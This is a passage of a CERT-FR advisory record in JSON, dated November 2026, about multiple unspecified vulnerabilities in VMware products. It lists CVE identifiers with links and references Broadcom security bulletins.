          "name": "CVE-2025-68121",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68121"
        },
        {
          "name": "CVE-2024-40896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-40896"
        },
        {
          "name": "CVE-2025-2099",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2099"
        },
        {
          "name": "CVE-2025-1194",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1194"
        },
        {
          "name": "CVE-2025-6638",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6638"
        },
        {
          "name": "CVE-2026-93572",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93572"
        },
        {
          "name": "CVE-2026-97873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97873"
        },
        {
          "name": "CVE-2026-75973",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75973"
        },
        {
          "name": "CVE-2026-111064",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111064"
        },
        {
          "name": "CVE-2026-18477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18477"
        },
        {
          "name": "CVE-2025-14819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14819"
        },
        {
          "name": "CVE-2025-24928",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-24928"
        },
        {
          "name": "CVE-2026-14679",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14679"
        },
        {
          "name": "CVE-2025-11065",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11065"
        },
        {
          "name": "CVE-2026-107708",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107708"
        },
        {
          "name": "CVE-2026-70461",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70461"
        },
        {
          "name": "CVE-2026-95838",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95838"
        },
        {
          "name": "CVE-2026-46597",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46597"
        },
        {
          "name": "CVE-2026-73073",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73073"
        },
        {
          "name": "CVE-2026-12259",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12259"
        },
        {
          "name": "CVE-2026-112401",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112401"
        },
        {
          "name": "CVE-2026-4786",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4786"
        },
        {
          "name": "CVE-2026-1484",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1484"
        },
        {
          "name": "CVE-2025-4947",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4947"
        },
        {
          "name": "CVE-2026-48775",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
        },
        {
          "name": "CVE-2026-72522",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-72522"
        },
        {
          "name": "CVE-2026-27141",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27141"
        },
        {
          "name": "CVE-2025-61726",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61726"
        },
        {
          "name": "CVE-2026-59902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59902"
        },
        {
          "name": "CVE-2025-1094",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1094"
        },
        {
          "name": "CVE-2026-112391",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112391"
        },
        {
          "name": "CVE-2026-5704",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5704"
        },
        {
          "name": "CVE-2026-89407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89407"
        },
        {
          "name": "CVE-2026-34182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34182"
        },
        {
          "name": "CVE-2026-49835",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49835"
        },
        {
          "name": "CVE-2026-18503",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18503"
        },
        {
          "name": "CVE-2026-10879",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
        },
        {
          "name": "CVE-2026-86138",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86138"
        },
        {
          "name": "CVE-2026-4372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4372"
        },
        {
          "name": "CVE-2026-47691",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47691"
        },
        {
          "name": "CVE-2022-24975",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-24975"
        },
        {
          "name": "CVE-2025-21614",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-21614"
        },
        {
          "name": "CVE-2026-6019",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6019"
        },
        {
          "name": "CVE-2026-11816",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11816"
        },
        {
          "name": "CVE-2025-3198",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3198"
        },
        {
          "name": "CVE-2026-78662",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78662"
        },
        {
          "name": "CVE-2026-76816",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76816"
        },
        {
          "name": "CVE-2026-87697",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87697"
        },
        {
          "name": "CVE-2026-96641",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96641"
        },
        {
          "name": "CVE-2026-19542",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19542"
        },
        {
          "name": "CVE-2025-54388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-54388"
        },
        {
          "name": "CVE-2026-59847",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59847"
        },
        {
          "name": "CVE-2026-9149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9149"
        },
        {
          "name": "CVE-2026-86140",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86140"
        },
        {
          "name": "CVE-2025-59419",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-59419"
        },
        {
          "name": "CVE-2026-74860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-74860"
        },
        {
          "name": "CVE-2025-49796",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49796"
        },
        {
          "name": "CVE-2025-8058",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8058"
        },
        {
          "name": "CVE-2026-40930",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40930"
        },
        {
          "name": "CVE-2026-87866",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87866"
        },
        {
          "name": "CVE-2025-11839",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11839"
        },
        {
          "name": "CVE-2026-63388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63388"
        },
        {
          "name": "CVE-2026-1489",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1489"
        },
        {
          "name": "CVE-2026-9547",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9547"
        },
        {
          "name": "CVE-2026-81642",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81642"
        },
        {
          "name": "CVE-2026-41007",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41007"
        },
        {
          "name": "CVE-2026-19666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19666"
        },
        {
          "name": "CVE-2026-81722",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81722"
        },
        {
          "name": "CVE-2026-19032",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19032"
        },
        {
          "name": "CVE-2026-53404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
        },
        {
          "name": "CVE-2026-33816",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33816"
        },
        {
          "name": "CVE-2026-82560",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82560"
        },
        {
          "name": "CVE-2026-56132",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56132"
        },
        {
          "name": "CVE-2026-12372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12372"
        },
        {
          "name": "CVE-2026-2004",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
        },
        {
          "name": "CVE-2026-0672",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0672"
        },
        {
          "name": "CVE-2026-49839",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49839"
        },
        {
          "name": "CVE-2026-93446",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93446"
        },
        {
          "name": "CVE-2026-96229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96229"
        },
        {
          "name": "CVE-2026-47770",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47770"
        },
        {
          "name": "CVE-2026-41246",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41246"
        },
        {
          "name": "CVE-2026-33481",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33481"
        },
        {
          "name": "CVE-2026-54874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54874"
        },
        {
          "name": "CVE-2026-67213",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67213"
        },
        {
          "name": "CVE-2026-71557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71557"
        },
        {
          "name": "CVE-2026-55833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
        },
        {
          "name": "CVE-2025-30204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-30204"
        },
        {
          "name": "CVE-2026-18938",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18938"
        },
        {
          "name": "CVE-2018-6952",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-6952"
        },
        {
          "name": "CVE-2026-114690",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114690"
        },
        {
          "name": "CVE-2026-24137",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24137"
        },
        {
          "name": "CVE-2025-5914",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5914"
        },
        {
          "name": "CVE-2026-116591",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116591"
        },
        {
          "name": "CVE-2017-8806",
          "url": "https://www.cve.org/CVERecord?id=CVE-2017-8806"
        },
        {
          "name": "CVE-2026-59198",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
        },
        {
          "name": "CVE-2026-111749",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111749"
        },
        {
          "name": "CVE-2026-56851",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56851"
        },
        {
          "name": "CVE-2026-40228",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40228"
        },
        {
          "name": "CVE-2026-85731",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85731"
        },
        {
          "name": "CVE-2023-31486",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-31486"
        },
        {
          "name": "CVE-2026-34477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34477"
        },
        {
          "name": "CVE-2026-65902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
        },
        {
          "name": "CVE-2026-56819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
        },
        {
          "name": "CVE-2026-106451",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106451"
        },
        {
          "name": "CVE-2025-1151",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1151"
        },
        {
          "name": "CVE-2024-24786",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-24786"
        },
        {
          "name": "CVE-2026-7210",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7210"
        },
        {
          "name": "CVE-2026-33231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
        },
        {
          "name": "CVE-2026-52863",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-52863"
        },
        {
          "name": "CVE-2026-70197",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70197"
        },
        {
          "name": "CVE-2026-7168",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7168"
        },
        {
          "name": "CVE-2026-40691",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40691"
        },
        {
          "name": "CVE-2026-14664",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14664"
        },
        {
          "name": "CVE-2026-9856",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9856"
        },
        {
          "name": "CVE-2019-20633",
          "url": "https://www.cve.org/CVERecord?id=CVE-2019-20633"
        },
        {
          "name": "CVE-2026-103242",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103242"
        },
        {
          "name": "CVE-2026-76957",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76957"
        },
        {
          "name": "CVE-2026-42012",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
        },
        {
          "name": "CVE-2024-39689",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-39689"
        },
        {
          "name": "CVE-2025-1148",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1148"
        },
        {
          "name": "CVE-2026-77406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77406"
        },
        {
          "name": "CVE-2026-94440",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94440"
        },
        {
          "name": "CVE-2026-61711",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-61711"
        },
        {
          "name": "CVE-2026-54371",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54371"
        },
        {
          "name": "CVE-2026-68494",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
        },
        {
          "name": "CVE-2025-6921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6921"
        },
        {
          "name": "CVE-2024-29903",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-29903"
        },
        {
          "name": "CVE-2023-5752",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-5752"
        },
        {
          "name": "CVE-2026-96224",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96224"
        },
        {
          "name": "CVE-2025-66862",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66862"
        },
        {
          "name": "CVE-2026-14670",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14670"
        },
        {
          "name": "CVE-2026-39827",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39827"
        },
        {
          "name": "CVE-2026-77405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77405"
        },
        {
          "name": "CVE-2026-24122",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24122"
        },
        {
          "name": "CVE-2026-32776",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32776"
        },
        {
          "name": "CVE-2026-4046",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4046"
        },
        {
          "name": "CVE-2026-56444",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56444"
        },
        {
          "name": "CVE-2026-15028",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15028"
        },
        {
          "name": "CVE-2026-9150",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9150"
        },
        {
          "name": "CVE-2026-93560",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93560"
        },
        {
          "name": "CVE-2026-112405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112405"
        },
        {
          "name": "CVE-2026-79677",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79677"
        },
        {
          "name": "CVE-2026-56289",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56289"
        },
        {
          "name": "CVE-2026-59845",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59845"
        },
        {
          "name": "CVE-2026-46385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46385"
        },
        {
          "name": "CVE-2026-22772",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22772"
        },
        {
          "name": "CVE-2026-111497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111497"
        },
        {
          "name": "CVE-2026-56852",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
        },
        {
          "name": "CVE-2026-42784",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42784"
        },
        {
          "name": "CVE-2025-67221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-67221"
        },
        {
          "name": "CVE-2026-73581",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73581"
        },
        {
          "name": "CVE-2026-15830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15830"
        },
        {
          "name": "CVE-2025-0167",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-0167"
        },
        {
          "name": "CVE-2026-16517",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16517"
        },
        {
          "name": "CVE-2026-85977",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85977"
        },
        {
          "name": "CVE-2026-59843",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59843"
        },
        {
          "name": "CVE-2026-33230",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
        },
        {
          "name": "CVE-2026-59899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
        },
        {
          "name": "CVE-2026-47775",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47775"
        },
        {
          "name": "CVE-2025-69420",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69420"
        },
        {
          "name": "CVE-2026-92390",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92390"
        },
        {
          "name": "CVE-2026-34481",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
        },
        {
          "name": "CVE-2025-22227",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22227"
        },
        {
          "name": "CVE-2025-47273",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
        },
        {
          "name": "CVE-2025-15224",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15224"
        },
        {
          "name": "CVE-2026-59204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
        },
        {
          "name": "CVE-2026-35501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35501"
        },
        {
          "name": "CVE-2026-111066",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111066"
        },
        {
          "name": "CVE-2026-86143",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86143"
        },
        {
          "name": "CVE-2026-8286",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8286"
        },
        {
          "name": "CVE-2026-93567",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93567"
        },
        {
          "name": "CVE-2026-85091",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85091"
        },
        {
          "name": "CVE-2026-116590",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116590"
        },
        {
          "name": "CVE-2026-39823",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39823"
        },
        {
          "name": "CVE-2026-86409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86409"
        },
        {
          "name": "CVE-2026-1462",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1462"
        },
        {
          "name": "CVE-2026-46680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46680"
        },
        {
          "name": "CVE-2026-22703",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22703"
        },
        {
          "name": "CVE-2026-0989",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0989"
        },
        {
          "name": "CVE-2026-31790",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-31790"
        },
        {
          "name": "CVE-2026-18024",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18024"
        },
        {
          "name": "CVE-2025-61729",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
        },
        {
          "name": "CVE-2026-83557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-83557"
        },
        {
          "name": "CVE-2026-15059",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15059"
        },
        {
          "name": "CVE-2025-11494",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11494"
        },
        {
          "name": "CVE-2024-6345",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-6345"
        },
        {
          "name": "CVE-2025-3777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3777"
        },
        {
          "name": "CVE-2026-63072",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63072"
        },
        {
          "name": "CVE-2026-79657",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79657"
        },
        {
          "name": "CVE-2025-14831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14831"
        },
        {
          "name": "CVE-2026-5545",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5545"
        },
        {
          "name": "CVE-2026-77310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
        },
        {
          "name": "CVE-2026-95209",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95209"
        },
        {
          "name": "CVE-2026-81634",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81634"
        },
        {
          "name": "CVE-2026-53492",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53492"
        },
        {
          "name": "CVE-2026-65898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
        },
        {
          "name": "CVE-2026-50149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50149"
        },
        {
          "name": "CVE-2026-112891",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112891"
        },
        {
          "name": "CVE-2026-86000",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86000"
        },
        {
          "name": "CVE-2026-43895",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-43895"
        },
        {
          "name": "CVE-2026-7017",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7017"
        },
        {
          "name": "CVE-2024-10979",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10979"
        },
        {
          "name": "CVE-2026-84782",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84782"
        },
        {
          "name": "CVE-2025-3576",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3576"
        },
        {
          "name": "CVE-2026-15307",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15307"
        },
        {
          "name": "CVE-2026-5241",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5241"
        },
        {
          "name": "CVE-2026-73281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73281"
        },
        {
          "name": "CVE-2026-0846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0846"
        },
        {
          "name": "CVE-2026-87022",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87022"
        },
        {
          "name": "CVE-2026-59889",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
        },
        {
          "name": "CVE-2026-3784",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3784"
        },
        {
          "name": "CVE-2025-1147",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1147"
        },
        {
          "name": "CVE-2026-56864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56864"
        }
      ],
      "initial_release_date": "2026-11-09T00:00:00",
      "last_revision_date": "2026-11-09T00:00:00",
      "links": [],
      "reference": "CERTFR-2026-AVI-1486",
      "revisions": [
        {
          "description": "Version initiale",
          "revision_date": "2026-11-09T00:00:00.000000"
        }
      ],
      "risks": [
        {
          "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
        }
      ],
      "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits VMware. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
      "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits VMware",
      "vendor_advisories": [
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39550",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39550"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39545",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39545"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39539",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39539"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39534",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39534"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39548",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39548"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39536",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39536"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39544",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39544"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39549",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39549"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39522",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39522"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39530",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39530"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39537",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39537"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39533",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39533"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39526"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39518",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39518"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39542",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39542"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39517",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39517"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39547"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39528",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39528"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39514",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39514"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39523",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39523"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39516",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39516"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39551",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39551"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39525",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39525"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39543",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39543"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39541",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39541"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39540",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39540"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39524"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39527",
